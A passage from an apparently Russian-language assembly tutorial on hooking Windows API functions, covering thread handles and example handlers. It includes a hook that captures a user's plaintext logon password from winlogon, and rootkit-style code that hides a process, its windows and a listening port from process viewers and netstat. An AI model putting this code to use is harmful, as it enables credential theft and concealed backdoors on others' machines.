ProcessHandle,lpClientId,lpInitialContext,\
lpUserStackDescriptor,CreateSuspended
pop ecx
pop eax
or ecx,ecx
jl nctexit
test eax,eax
jl nctexit
cmp CreateSuspended,FALSE
je nctexit
mov eax,pbi
cmp [eax.UniqueProcessId],0
jne nctexit
mov eax,pbi2
call NtQueryInformationProcess,ProcessHandle,\
ProcessBasicInformation,eax,pbisize,NULL
nctexit: pop eax
ret
myNtCreateThread endp
myCsrClientCallServer proc lpStruc,Par1,dwCommand,StrucSize
call [realCsrClientCallServer],lpStruc,Par1,\
dwCommand,StrucSize
cmp dwCommand,10000h
jne cccsexit
mov edx,lpStruc
cmp dword ptr [edx+20h], 0
jl cccsexit
mov eax,pbi2
mov ecx,[eax.UniqueProcessId]
jecxz cccsexit
pushad
... ;установка обработчиков
popad
cccsexit: ret
myCsrClientCallServer endp
При использовании метода исправления таблиц импорта в w9x можно
поступить аналогичным образом, перехватив kernel32!GetStartupInfoA.
При использовании сплайсинга модулей выше 2Gb проблема решается сама
собой: эта память проецируется на все контексты, следовательно, вызовы
функций из любого процесса будут перехвачены.
2.6. Приостановка потоков
Рассмотрим метод изменения таблицы импорта модуля с целью перехвата
импортируемых им функций.
При инициализации библиотеки (вызове DllMain с причиной
DLL_PROCESS_ATTACH), как было оговорено ранее, происходит исполнение
кода-инсталлятора обработчиков. Конечной его целью является замещение всех
входов таблицы импорта модуля, содержащих адреса перехватываемых функций, на
адреса соответствующих обработчиков. Если необходимо перехватывать функции
из всех модулей процесса, то эти действия будут выполняться "не
моментально". Возникает проблема синхронизации: в момент перебора модулей
процесса обработанные модули будут содержать одни адреса перехватываемых
функций, а необработанные - другие. Это может сказаться на логике выполнения
процесса.
Чтобы избежать этого, необходимо приостанавливать потоки перед
манипуляциями с таблицами импортов, а после их завершения вновь "запускать"
потоки. Существуют документированные функции kernel32 SuspendThread(HANDLE
hThread) и ResumeThread(HANDLE hThread), позволяющие приостанавливать и
запускать потоки (вернее, их код в user-mode). Эти функции оперируют со
счетчиком остановок потока (suspend count). Функция SuspendThread
инкрементирует этот счетчик. Если его значение больше нуля, то поток
остановлен, если значение превышает допустимое (MAXIMUM_SUSPEND_COUNT) -
SuspendThread возвращает ошибку (ERROR_SIGNAL_REFUSED) и инкрементирование
не производится. ResumeThread декрементирует счетчик остановок; если он
достиг нуля, поток вновь становится планируемым. Для работы обоих функций
необходим описатель (handle) потока, открытый с флагом
THREAD_SUSPEND_RESUME.
Проблема состоит в том, что документированный API Win32 предоставляет
описатель потока только в нескольких случаях: при создании потока функцией
kernel32!CreateThread, при отладке процесса как сообщение отладчику
(возвращается при старте отладки или после создания потока отлаживаемым
приложением через kernel32!WaitForDebugEvent), после дуплицирования
имеющегося описателя и при вызове GetCurrentThread.
Первый случай, как и третий, очевидно, неприемлемы, так как с их помощью
нельзя узнать описатель уже работающего потока (не имея какого- либо его
описателя в третьем случае). Второй имеет серьезный недостаток: процесс
должен адекватно реагировать на отладочные сообщения, посылаемые системой
для каждого отлаживаемого процесса, и при его завершении все отлаживаемые
процессы уничтожатся (правда, в Windows XP этого можно избежать).
Четвертый дает псевдо-описатель потока-вызывателя.
Несмотря на это, все Win32 системы позволяют перечислять все
идентификаторы потоков (аналогично идентификаторам процессов). Это несколько
странно, так как по SDK "The Win32 API does not provide a way to get the
thread handle from the thread identifier". В SDK предлагается использовать
идентификаторы потоков для составления запросов процессу-создателю потока с
целью получения описателя. По SDK, если процесс не поддерживает удаленное
манипулирование его потоками, то идентификатор потока вообще теряет смысл.
И все-таки во всех Win32 системах существует способ получения описателя
потока по его идентификатору. Достаточным условием получения описателя
потока с флагом THREAD_SUSPEND_RESUME является возможность открыть процесс с
флагом PROCESS_ALL_ACCESS.
2.6.1. Получение описателя потока по его идентификатору в Windows 9X
При внимательном изучении кода функции OpenProcess выясняется, что она
сводится к более мощной функции, в качестве параметров к которой передаются
флаги, флаг вложенности и некоторое значение, полученное из идентификатора
процесса путем операции XOR его с неким двойным словом. Результатом этой
операции является адрес структуры, описывающей процесс (Process Data Block).
Далее идет проверка - описывает ли структура по адресу, полученному от
указателя, процесс. Если это не процесс, то происходит выход из OpenProcess.
Поэтому возникает подозрение, что идентификаторы потока и процесса мало чем
различаются по своей сущности.
Действительно, операция XOR идентификатора потока с "непонятным" двойным
словом дает адрес TDB, - таким образом, для перевода идентификатора потока в
его описатель достаточно "вручную" производить XOR идентификатора потока с
тем двойным словом, помещать результат в eax и вызывать [OpenProcess+24h].
Из листинга OpenProcess видно, что [OpenProcess+24] (2) - "OpenThread" -
читает аргументы прямо из стека (адресует их по esp). Так как код
OpenProcess не изменился от Win95 к Win98, то смещение сохранится для обоих
систем.
OpenProcess proc near
dwFlags = dword ptr 4
inheritance = dword ptr 8
pid = dword ptr 0Ch
push [esp+pid]
call xorbyobsfucator
test eax, eax
jnz short pidconverted
xor eax, eax
jmp short bad_exit
pidconverted:cmp byte ptr [eax], 6 ; (1)
jz short OpenThread
push 57h
call sub_BFF7C991
mov ecx, 0FFFFFFFFh
jmp short loc_BFF95CA1
OpenThread:
mov ecx, 0 ; (2)
mov edx, [esp+dwFlags]
cmp [esp+inheritance], 1
adc ecx, 0FFFFFFFFh
and edx, 1F0FFFh
and ecx, 80000000h
or ecx, edx
mov edx, dword_BFFC9CDC
push ecx
push eax
push dword ptr [edx]
call SomePowerfulFunction
...
Остается только узнать тот "magic dword", который используется для
получения адреса PDB. Это можно сделать несколькими способами. Самый
безопасный и быстрый - это воспользоваться известным для текущего процесса
PDB, адрес которого находится по адресу fs:[30h]. Нужно использовать XOR на
нем и значении, возвращаемом GetCurrentProcessId. Тогда возможный код
функции w9x_OpenThread будет выглядеть следующим образом (предполагается
использование TASM в качестве компилятора, так как ниже производится чтение
адреса OpenProcess из таблицы прыжков (jump table), генерируемую TASM по
умолчанию; MASM генерирует код другого характера - вызовы функций API
производятся путем выполнения call [x], где x - адрес входа требуемой
функции в таблице импорта модуля):
w9x_OpenThread proc flags,inheritance,tid:dword
local w9xopenthread:dword
pushad
call GetCurrentProcessId
xor eax,fs:30h
mov ebx,eax
lea esi,OpenProcess+2 ; jmp far [xxxx]
lodsd ; xxxx
xchg eax,esi
lodsd ; [xxxx]=KERNEL32!OpenProcess
lea esi,[eax+24h]
lodsd ; [OpenProcess+24h]
mov edi,esi
cmp eax,0b9h ; mov ecx,dword ptr 0
jnz bad_exit
sub edi,4
mov w9xopenthread,edi
xor ebx,tid
lea esi,[ebx+2]
call IsBadWritePtr,esi,2
or eax,eax
jnz bad_exit
xchg eax,ebx
mov eax,w9xopenthread
call eax,flags,inheritance,tid
mov [esp.Pushad_eax],eax
popad
ret
bad_exit: popad
call SetLastError,ERROR_ACCESS_DENIED
xor eax,eax
ret
w9x_OpenThread endp
2.6.2. Получение описателя потока по его идентификатору в Windows NT
В Windows NT (начиная с версии 3.51) присутствует недокументированная
функция ntdll!NtOpenThread, позволяющая получать описатель потока по
идентификатору процесса - хозяина и идентификатору самого потока. Функция
проверяет привилегии потока, вызвавшего ее, так что она не угрожает
стабильности системы. Код функции находится целиком в ntoskrnl.exe,
располагающейся выше 2Gb и исполняющейся в kernel mode, поэтому обычный
процесс не может изменить логику выполнения этой функции. Ее прототип
несколько нестандартен для WINAPI (это переходник на сервис ntoskrnl.exe,
следовательно, прототип - NTKERNELAPI):
NTKERNELAPI
NTSTATUS
NtOpenThread(
OUT PHANDLE ThreadHandle,
IN ACCESS_MASK DesiredAccess,
IN POBJECT_ATTRIBUTES ObjectAttributes,
IN PCLIENT_ID ClientId OPTIONAL
);
где
DWORD ClientId[2];
ClientId[0] = TargetPID;
ClientId[1] = TargetTID;
Струтура Object_Attributes должна располагаться в памяти по адресу,
выравненному на 1000h. В противном случае функция возвратит ошибку -
STATUS_DATATYPE_MISALIGNMENT. Для выделения памяти с начальным адресом,
удовлетворяющим такому условию, можно воспользоваться стандартной функцией
kernel32!VirtualAlloc.
Отличительной чертой этой функции от ее аналога в w9x является
необходимость указания идентификатора процесса - хозяина интересующего нас
потока, но в большинстве случаев использования этой функции требуется
полностью приостановить работу какого-либо процесса (может, за исключением
какого-то потока), а при перечислении потоков требуется знать идентификатор
процесса, так что указанная особенность не становится большим препятствием в
использовании NtOpenThread. Дополнительный код придется писать лишь в том
случае, когда необходимо получить описатель потока без начальных данных о
его принадлежности. Эту информацию можно получить с помощью
NtQuerySystemInformation.
Возможный код функции nt_OpenThread может выгладеть так:
nt_OpenThread proc flags,inheritance,tid,pid:DWORD
local thandle:DWORD
local pntot:dword
local _tid:dword
local _pid:dword
mov eax,tid
mov _tid,eax
mov eax,pid
mov _pid,eax
call GetModuleHandleA,offset ntdll
call GetProcAddress,eax,offset ntopenthread
or eax,eax
jz baderror
mov pntot,eax
call VirtualAlloc,0,100,1000h,40h
mov ebx,eax
xchg eax,edi
push 18h
pop eax
stosd
xor eax,eax
push 5
pop ecx
rep stosd
lea ecx,thandle
lea edx,_pid
and dword ptr [ecx],0
call [pntot],ecx,1f0000h,ebx,edx
mov eax,thandle
call VirtualFree,ebx,0,8000h,eax
call GetCurrentProcess
pop ebx
lea ecx,thandle
and dword ptr [ecx],0
call DuplicateHandle,eax,ebx,eax,\
ecx,1f0fffh,inheritance,\
DUPLICATE_CLOSE_SOURCE
mov eax,thandle
ret
baderror: xor eax,eax
ret
nt_OpenThread endp
2.6.3. Получение описателя потока по его идентификатору в Windows ME/2000/XP
В kernel32 этих операционных систем присутствует документированная
функция OpenThread, использование которой делает задачу тривиальной.
Синтаксис функции таков (он практически дублирует синтаксис OpenProcess):
HANDLE OpenThread(
DWORD dwDesiredAccess, // access right
BOOL bInheritHandle, // handle inheritance option
DWORD dwThreadId // thread identifier
);
3. Приложения. Примеры обработчиков
Примеры обработчиков перехваченных функций методом сплайсинга
обсуждались в соответствующей главе; рассмотрим более подробно обработчики,
внедренные путем исправления таблицы импорта.
Пример N1
Любой глобальный обработчик какой-либо функции под NT должен
позаботиться о распространении себя на все модули всех процессов, поэтому
необходимо перехватывать функцию загрузки нового модуля, чтобы применять
перехваты к свежесозданным модулям. Ранее отмечалось, что подобной функцией
должна быть ntdll!LdrLoadDll. Ниже приведен простейший ее обработчик:
myLdrLoadDll proc pSearchPath:dword,something:dword,\
pUniStrDllName:dword,pImageBase
call [realLdrLoadDll],pSearchPath,something,\
pUniStrDllName,pImageBase
mov eax,pImageBase
call hookmodule,dword ptr [eax]
ret
myLdrLoadDll endp
Однако такой метод перехвата LdrLoadDll слишком наивен: после вызова
настоящей функции и до возвращения управления к нашему обработчику
произойдет вызов найденной в проинициализированном модуле точки входда
(DllEntry) с причиной DLL_PROCESS_ATTACH. Код, находящийся в DllEntry, может
определить адреса требуемых функций с помощью неперехваченного
GetProcAddress (который, естественно, возвратит истинные значения адресов),
так как адрес самого GetProcAddress в таблице импорта будет заполнен
загрузчиком PE - наш обработчик LdrLoadDll еще "не успеет" изменить его.
При изучении LdrLoadDll оказывается, что она сводится к другой функции,
которая и производит чтения параметров и соответствующие вызовы ядра. И в
NT, и в w2k дополнительным параметром является булевская переменная -
исполнять или нет цепочку DllMain. Вызовем функцию LdrLoadDll "не с начала",
а после того, как положим в стек 0 - FALSE (а не 1 - TRUE). Таким образом,
после завершения LdrLoadDll и соответствующего исправления таблиц импорта
нам останется лишь вызвать DllMain всех вновь появившихся модулей с причиной
DLL_PROCESS_ATTACH.
myLdrLoadDll proc pSearchPath:dword, Something:dword,\
pUniStrDllName:dword, pImageBase:dword
push pSearchPath,Something,pUniStrDllName,pImageBase
push offset theend
push eax
call LdrGetDllHandle,TRUE,0,pUniStrDllName,esp
test eax,eax ; был ли модуль загружен
; ранее?
pop ecx
mov eax,realLdrLoadDll
jnl normalcall
; в NT4 LdrLoadDll
; начинается командами
; push ebp | mov ebp,esp |
; push byte
checkNT4: xor ecx,ecx
cmp dword ptr [eax],6AEC8B55h
jne checkw2k
; для изменения адреса возврата изменим стек сами
push ebp
mov ebp,esp
add eax,3
mov cl,4
jmp specialcall
; w2k LdrLoadDll начинается командой push 1
checkw2k: cmp word ptr [eax],016Ah
jne normalcall
;возвратимся в analyze
specialcall: mov [esp+ecx],offset analyze
push FALSE ; запретим вызов
; DllMain'ов
inc eax
inc eax
normalcall: jmp eax
analyze: push eax ; сохраним код возврата
push edi
sub esp,80h*4
mov eax,fs:18h
mov eax,[eax+30h] ; PEB
mov ecx,[eax+_PEB.Ldr] ; начало описателя модулей
; процесса
xor edx,edx
add ecx,_PEB_LDR_DATA.\
InInitializationOrderModuleList.Flink
mov eax,[ecx]
mov edi,esp
jmp first0
nextentry: mov eax,[eax+LDR_MODULE.\
LM_InInitializationOrderModuleList.Flink]
first0: cmp eax,ecx ; последний элемент
; списка ссылается на первый
je allentries
; выберем среди модулей процесса непроинициалированные,
; пометим их как инициализированные и сохраним их DllMain для
; инициализации
and [eax.LM_Flags],NOT LOAD_IN_PROGRESS
test [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED
jne nextentry
or [eax.LM_Flags],HAS_DLLMAIN_OR_IS_INITIALIZED
cmp [eax.LM_EntryPoint],edx
je nextentry
stosd
jmp nextentry
allentries: and [edi],edx
mov edi,esp
initloop: mov eax,[edi]
test eax,eax
je initdone
add edi,4
; изменим импорт у модуля
call hookmodule,[eax.LM_BaseAddress]
; сделаем DLL_PROCESS_ATTACH сами
push eax
mov ecx,[eax.LM_EntryPoint]
or ecx,ecx
jz skipcalldllmain
call ecx,[eax.LM_BaseAddress],DLL_PROCESS_ATTACH,NULL
skipcalldllmain:
mov ecx,eax
pop eax
or [eax.LM_Flags],ALLOW_DLL_PROCESS_DETACH
or ecx,ecx
jne initloop
; DllMain возвратил ошибку - выгрузим модуль и исправим код выхода
mov dword ptr [esp+80h*4+4],\
STATUS_DLL_INIT_FAILED
call [realLdrUnloadDll],[eax.LM_BaseAddress]
initdone: add esp,80h*4
pop edi
pop eax
theend: ret
myLdrLoadDll endp
Пример N2
Windows NT и Windows 2000 всех SP содержат "уязвимость" следующего рода:
обе эти ОС после логона содержат пароль текущего пользователя,
"зашифрованный" операцией XOR с ключом в 1 байт (!), и при разблокировании
станции происходит дешифрование пароля и сравнивание двух строк на
совпадение. Если строки не совпадают, станция не разблокировывается. В
защиту Microsoft говорит только тот факт, что код, дешифрующий пароль,
выполняется в контексте winlogon, то есть для его изменения либо перехвата
необходима привилегия SeDebugPrivilege, которая включена в большинстве
случаев только у администраторов. Однако, если администратор отлучился и
оставил машину незаблокированной, то, запустив программу под правами
администратора, можно узнать его пароль в чистом виде.
Дешифрование пароля производится функцией RtlRunDecodeUnicodeString. Вот
пример ее перехватчика: при вызове данной функции он показывает на экран
сообщение со строчкой, которая только что расшифровалась.
myRtlRunDecodeUnicodeString proc key:dword,unistring:dword
local decodebuff:dword
local dummy:dword
push ebx
mov ebx,unistring
add ebx,4
call IsBadReadPtr,ebx,1
or eax,eax
jnz justcall
mov ebx,[ebx]
mov decodebuff,ebx
justcall: pop ebx
call [realRtlRunDecodeUnicodeString],key,unistring
or eax,eax
jz notme
call lstrcpyW,offset somebuff,decodebuff
call CreateThread,NULL,NULL,offset msgboxthrd,\
offset somebuff,NORMAL_PRIORITY_CLASS,\
offset dummy
call CloseHandle,eax
notme: ret
myRtlRunDecodeUnicodeString endp
Пример N3
При столь большой распространенности всяческих троянов, бэкдоров и т.п.
программ, чье написание подпадает под ст. 272-274 УКРФ, становится
непонятно, почему так редко среди них встречаются по-настоящему
самомаскирующиеся программы. Большинство из них завершает свой маскировочный
процесс на вызовах
ShowWindow(mainwindow.handle,SW_HIDE);
_rsp RSP=GetProcAddress(GetModuleHandle("kernel32.dll"),
"RegisterServiceProcess");
if (RSP) RSP(GetCurrentProcessId(),1);
Этот код защищает только от нажатия ctrl-alt-del в w9x и ME. Любой
просмотрщик процессов и окон немедленно обнаружит такой процесс. Чтобы этого
не случилось, в winNT требуется перехватить NtQuerySystemInformation для
"процессной" невидимости и EnumWindows, EnumThreadWindows, EnumChildWindows
для "оконной". Также, желательно было бы спрятать нечто "слушающее" на
каком-либо TCP/UDP порту от команд типа "netstat -a". Все вышеперечисленное
осуществляет код:
MyNtQuerySystemInformation proc SystemInformationClass,\
SystemInformation,Length, ResultLength
uses ebx esi
call dword ptr [realNtQuerySystemInformation],
SystemInformationClass,SystemInformation,\
Length,ResultLength
or eax,eax
jl theend
cmp SystemInformationClass,SystemProcessInformation
jne theend
onceagain: mov esi,SystemInformation
getnextpidstruct:
mov ebx,esi
cmp dword ptr [esi],0
je theend
add esi,[esi]
mov ecx,[esi+44h]
pushad
; определим PID - "невидимку"
call FindWindowA,offset wnd2hide,0
call GetWindowThreadProcessId,eax,offset mypid
popad
cmp ecx,mypid
jne getnextpidstruct
mov edx,[esi]
test edx,edx
je fillzero
add [ebx],edx ; "перебросим" указатель
; следующей записи через себя:
; тем самым в результате прохода
; по этой структуре информация
; о нас не обнаружится
jmp onceagain
fillzero: and [ebx],edx
jmp onceagain
theend: ret
myNtQuerySystemInformation endp
myEnumWindows proc enumproc:dword,enumparam:dword
cmp oldenumproc,0
je iambusy
call [realEnumWindows],enumproc,enumparam
ret
iambusy: push enumproc
pop oldenumproc
call [realEnumWindows],offset mylenum,enumparam
and oldenumproc,0
ret
myEnumWindows endp
myenum proc enumhwnd:dword,b:dword
call FindWindowA,offset wnd2hide,0
or eax,eax
je calloldenumproc
cmp eax,enumhwnd ; это наше окно?
mov eax,1
je skipoldenumproc ; да, пропустим вызов
; коллбэка
calloldenumproc:
call [oldenumproc],enumhwnd,b
skipoldenumproc:
ret
myenum endp
myEnumChildWindows proc parentwnd:dword,enumproc_ecw:dword,\
enumparam_ecw:dword
cmp oldecwproc,0
je iambusy_ecw
call [realEnumChildWindows],parentwnd,enumproc_ecw,\
enumparam_ecw
ret
iambusy_ecw: call FindWindowA,offset wnd2hide,0
or eax,eax
jz iamnotrunning
cmp eax,parentwnd
je foolecw
iamnotrunning:
push enumproc_ecw
pop oldecwproc
call [realEnumChildWindows],parentwnd,\
offset myenum_ecw,enumparam_ecw
and oldecwproc,0
ret
foolecw: xor eax,eax
ret
myEnumChildWindows endp
myenum_ecw proc enumhwnd_ecw:dword,b_ecw:dword
call FindWindowA,offset wnd2hide,0
or eax,eax
je calloldecwproc
cmp eax,enumhwnd_ecw
mov eax,1
je skipoldecwproc
calloldecwproc:
call [oldecwproc],enumhwnd_ecw,b_ecw
skipoldecwproc:
ret
myenum_ecw endp
myEnumThreadWindows proc tid2examine:dword,etwcallback:dword,\
etwparam:dword
call FindWindowA,offset wnd2hide,0
call GetWindowThreadProcessId,eax,0
cmp eax,tid2examine
jz fooletw ; если наш поток, то
; выдать ошибку
call [realEnumThreadWindows],tid2examine,etwcallback,\
etwparam
ret
fooletw: xor eax,eax
ret
myEnumThreadWindows endp
mySnmpExtensionInit proc currtime,hTrapEvent,hIdentifier:dword
and recordnum,0
mov currtrap,offset trapbuff
call [realSnmpExtensionInit],currtime,hTrapEvent,hIdentifier
ret
mySnmpExtensionInit endp
mySnmpExtensionQuery proc callmode,bindList,\
errorStatus,errorIndex:dword
call [realSnmpExtensionQuery],callmode,bindList,\
errorStatus,errorIndex
pushad
or eax,eax
jz skipit
cmp callmode,ASN_RFC1157_GETNEXTREQUEST
jne skipit
mov eax,bindList
mov eax,[eax.list]
cmp [eax.name.idLength],0ah
jb skipit
mov bindEntry,eax
mov eax,[eax.name.ids]
mov eax,[eax+9*4]
cmp eax,4
jnz check4localport
cmp recordnum,0
jz already0
and recordnum,0
and search4trap,0
already0: inc search4trap
mov ecx,search4trap
lea esi,trapbuff
tryalltraps: lodsd
cmp esi,currtrap ; это метка на
; изменение?
ja trapwalkdone
cmp eax,ecx
jnz tryalltraps
mov ebx,bindEntry ; спрятать адрес
; эндпоинта
mov ebx,[ebx.value.asnValue.address.stream]
and dword ptr [ebx],0
trapwalkdone:jmp skipit
check4localport:
cmp eax,3
jnz skipit
inc recordnum
recordscounted:
mov ebx,bindEntry
mov eax,[ebx.value.asnValue.number]
cmp eax,PORT2HIDE ; это наш порт?
jnz skipit ; да, показать
; пользователю то,
; что он хочет увидеть
mov [ebx.value.asnValue.number],PORT2SHOW
mov eax,currtrap
add currtrap,4
push recordnum
pop dword ptr [eax] ; сохранить номер
; записи для
; последующих вызовов,
; чтобы перехватить
; выдачу нашего IP
skipit: popad
ret
mySnmpExtensionQuery endp
Пример N4
Ниже приведен пример простейшего исходящего TCP-файрвола
пользовательского режима. Он может работать с привилегиями гостя -
глобализатор распространит обработчик ws2_32!connect только на те процессы,
описатели которых он сможет получить при выполнении OpenProcess с
параметрами PROCESS_ALL_ACCESS.
myconnect proc a:dword,b:dword,c:dword
pushad
call GetModuleFileNameA,0,offset
modnamebuff,MAX_PATH
mov eax,b
mov esi,[eax+4]
movzx ebx,word ptr [eax+2]
xchg bl,bh
call inet_ntoa,esi
call wsprintfA,offset bigbuff,offset badprogram,\
offset modnamebuff,eax,ebx
add esp,5*4
call MessageBoxA,0,offset bigbuff,\
offset warn,MB_YESNO+MB_ICONWARNING
cmp eax,6
jz good_program
call WSASetLastError,WSAEADDRNOTAVAIL
popad
xor eax,eax
dec eax
jmp _ret
good_program:popad
call [realconnect],a,b,c
_ret: ret
myconnect endp
Windows Assembly Site
|
|